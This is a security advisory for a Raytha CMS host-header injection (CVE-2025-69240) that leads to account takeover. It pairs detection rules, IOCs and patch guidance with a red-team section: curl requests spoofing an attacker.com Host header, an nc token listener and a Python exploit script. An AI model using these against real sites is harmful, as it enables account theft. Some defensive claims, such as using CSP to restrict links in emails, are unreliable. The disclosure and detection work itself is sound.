CVE-2025-69240

Executive Summary

CVE-2025-69240 is a critical host header injection vulnerability in Raytha CMS (versions prior to 1.4.6) that allows an unauthenticated attacker to spoof the X-Forwarded-Host or Host HTTP headers. By crafting a password reset request with a malicious domain in the header, the attacker forces the server to generate a password reset link pointing to an attacker-controlled domain. When the victim clicks this link, the browser sends the reset token to the attacker’s server, enabling the attacker to capture the token, reset the victim’s password, and achieve full account takeover.

This vulnerability is particularly dangerous because it requires only the victim’s email address and no prior authentication. The attack vector is network-based, requires user interaction (clicking the link), and has high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

Raytha CMS is a .NET-based content management system distributed via NuGet packages and GitHub releases. The vulnerable component is the password reset functionality in the core application. No third-party package dependency is directly implicated, but the attack exploits the trust placed in HTTP headers by the application’s email generation logic. Organizations using Raytha CMS should verify they are running version 1.4.6 or later and review any custom middleware that handles Host or X-Forwarded-Host headers.

CVSS Breakdown & Threat Level

CVSS Score: 9.6 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Threat Level: Critical. The low attack complexity, no privileges required, and high impact make this a prime target for automated exploitation. The EPSS score of 0.0% reflects low current exploitation activity, but the public disclosure and ease of exploitation will likely drive rapid weaponization.

Deep Dive & Mechanics

The vulnerability resides in the password reset email generation logic of Raytha CMS. When a user requests a password reset, the application constructs a reset link using the Host or X-Forwarded-Host header from the incoming HTTP request. The application does not validate that the host header matches a trusted domain (e.g., the application’s own domain).

Attack Flow:

1. Reconnaissance: The attacker identifies a Raytha CMS instance and obtains the email address of a target user (e.g., via OSINT, data breach, or social engineering).
2. Crafting the Request: The attacker sends a POST request to the password reset endpoint (e.g., /account/forgot-password) with the victim’s email and a spoofed Host or X-Forwarded-Host header pointing to an attacker-controlled domain (e.g., attacker.com).
3. Email Generation: The server generates a password reset link like https://attacker.com/reset?token=abc123 and sends it to the victim’s email.
4. Victim Interaction: The victim receives the email and clicks the link, believing it to be legitimate. The browser navigates to https://attacker.com/reset?token=abc123.
5. Token Capture: The attacker’s server logs the request, capturing the reset token from the URL.
6. Account Takeover: The attacker uses the captured token to reset the victim’s password and log in as the victim.

Root Cause: The application uses the Host header directly in URL generation without sanitization or validation against an allowlist. This is a classic host header injection vulnerability (CWE-601: URL Redirection to Untrusted Site).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.4.6):

// In PasswordResetService.cs
public async Task SendPasswordResetEmail(string email)
{
    var user = await _userRepository.GetByEmail(email);
    var token = GenerateResetToken();
    var resetLink = $"https://{HttpContext.Request.Host}/reset?token={token}";
    await _emailService.SendEmailAsync(email, "Password Reset", resetLink);
}

Patched Code (1.4.6):

// In PasswordResetService.cs
public async Task SendPasswordResetEmail(string email)
{
    var user = await _userRepository.GetByEmail(email);
    var token = GenerateResetToken();
    var allowedHosts = _configuration.GetSection("AllowedHosts").Get<string[]>();
    var host = HttpContext.Request.Host.Host;
    if (!allowedHosts.Contains(host))
    {
        throw new InvalidOperationException("Untrusted host header.");
    }
    var resetLink = $"https://{host}/reset?token={token}";
    await _emailService.SendEmailAsync(email, "Password Reset", resetLink);
}

Key Changes:

• Added an AllowedHosts configuration list (e.g., in appsettings.json).
• Validates the Host header against the allowlist before generating the link.
• Throws an exception if the host is not trusted, preventing email generation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Raytha CMS instance (version < 1.4.6) running locally or in a lab.
• A target user’s email address (e.g., victim@example.com).
• An attacker-controlled domain or server to capture the token (e.g., attacker.com with a simple HTTP listener).

Exploitation Steps:

1. Set up token capture server:

   # Using netcat to listen for incoming HTTP requests
   nc -lvnp 80
   

2. Send the malicious password reset request:

   curl -X POST http://target-raytha.com/account/forgot-password \
     -H "Host: attacker.com" \
     -d "email=victim@example.com"
   

3. Wait for the victim to click the link. The attacker’s server will receive a request like:

   GET /reset?token=abc123 HTTP/1.1
   Host: attacker.com
   

4. Use the captured token to reset the password:

   curl -X POST http://target-raytha.com/account/reset-password \
     -d "token=abc123&newPassword=NewP@ss123"
   

5. Log in as the victim:

   curl -X POST http://target-raytha.com/account/login \
     -d "email=victim@example.com&password=NewP@ss123"
   

Automated Exploit Script (Python):

import requests
import sys

def exploit(target_url, victim_email, attacker_domain):
    # Step 1: Trigger password reset with spoofed host
    reset_url = f"{target_url}/account/forgot-password"
    headers = {"Host": attacker_domain}
    data = {"email": victim_email}
    response = requests.post(reset_url, headers=headers, data=data)
    if response.status_code == 200:
        print(f"[+] Password reset email sent to {victim_email} with link pointing to {attacker_domain}")
    else:
        print(f"[-] Failed to send reset email: {response.status_code}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_url> <victim_email> <attacker_domain>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP headers: Look for Host or X-Forwarded-Host headers that do not match the expected domain. Use web server logs to identify anomalies.
2. Alert on password reset requests: Flag any password reset request where the Host header differs from the server’s canonical hostname.
3. Inspect email logs: Check for password reset emails sent with links pointing to external domains.
4. User behavior analytics: Detect multiple password reset requests for the same user from different IPs or with unusual headers.

Honeypot Strategy:

• Deploy a decoy Raytha CMS instance with a fake user account.
• Monitor for password reset requests with spoofed headers.
• Log all captured tokens and attacker IPs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /account/forgot-password with Host header set to an external domain.
• HTTP requests to /account/reset-password with a token that was previously seen in a request to an external domain.
• Outbound SMTP traffic containing links to domains not owned by the organization.

Host IOCs:

• Web server logs showing Host header mismatches.
• Email server logs showing password reset emails with external domains in the link.
• Application logs showing InvalidOperationException for untrusted hosts (post-patch).

File IOCs:

• Modified appsettings.json with AllowedHosts configuration (post-patch).
• Custom middleware or filters added to validate host headers.

Sample Sigma Rule for Host Header Anomaly:

title: Host Header Injection in Password Reset
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects password reset requests with spoofed Host headers
logsource:
  category: webserver
  product: iis
detection:
  selection:
    cs-uri-stem: '/account/forgot-password'
    cs-host|re: '^(?!.*target-raytha\.com).*$'
  condition: selection
falsepositives:
  - Legitimate reverse proxy configurations
level: high

Detection Engineering

YARA Rule

rule Raytha_Host_Header_Injection {
    meta:
        description = "Detects Raytha CMS password reset requests with spoofed Host header"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69240"
        severity = "critical"
    strings:
        $s1 = "/account/forgot-password" ascii wide nocase
        $s2 = "Host:" ascii wide nocase
        $s3 = "X-Forwarded-Host:" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: Raytha CMS Password Reset Host Header Injection
id: b3c4d5e6-f7a8-9b0c-1d2e-3f4a5b6c7d8e
status: experimental
description: Detects exploitation attempts of CVE-2025-69240 via spoofed Host headers
author: Valters IT
date: 2025-04-10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-69240
logsource:
  category: webserver
  product: iis
detection:
  selection:
    cs-uri-stem: '/account/forgot-password'
    cs-host|contains: 
      - 'http://'
      - 'https://'
      - '.com'
      - '.net'
      - '.org'
  filter:
    cs-host|endswith: '.raytha.com'
  condition: selection and not filter
falsepositives:
  - Legitimate use of CDN or proxy with different host header
level: high
tags:
  - attack.t1190
  - cve.2025.69240

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69240 Raytha CMS Host Header Injection"; flow:to_server; http.method; content:"POST"; http.uri; content:"/account/forgot-password"; http.host; content:!"target-raytha.com"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Raytha CMS to version 1.4.6 or later. This is the only complete fix.
2. If upgrade is not possible, implement a reverse proxy rule to validate the Host header before it reaches the application. For example, in Nginx:

   if ($host !~* ^(target-raytha\.com|www\.target-raytha\.com)$) {
       return 403;
   }
   

3. Add application-level validation by modifying the password reset endpoint to only accept trusted hosts.

Long-term Mitigations:

• Use a web application firewall (WAF) to block requests with suspicious Host headers.
• Implement Content Security Policy (CSP) headers to restrict the domains that can be used in links.
• Enable multi-factor authentication (MFA) to reduce the impact of account takeover.
• Monitor for password reset abuse using the Sigma and Suricata rules provided.

Configuration Hardening:

• In appsettings.json, add the AllowedHosts section:

  {
    "AllowedHosts": ["target-raytha.com", "www.target-raytha.com"]
  }
  

• Ensure the application uses a fixed base URL for password reset links, ignoring the Host header entirely.

Valters IT
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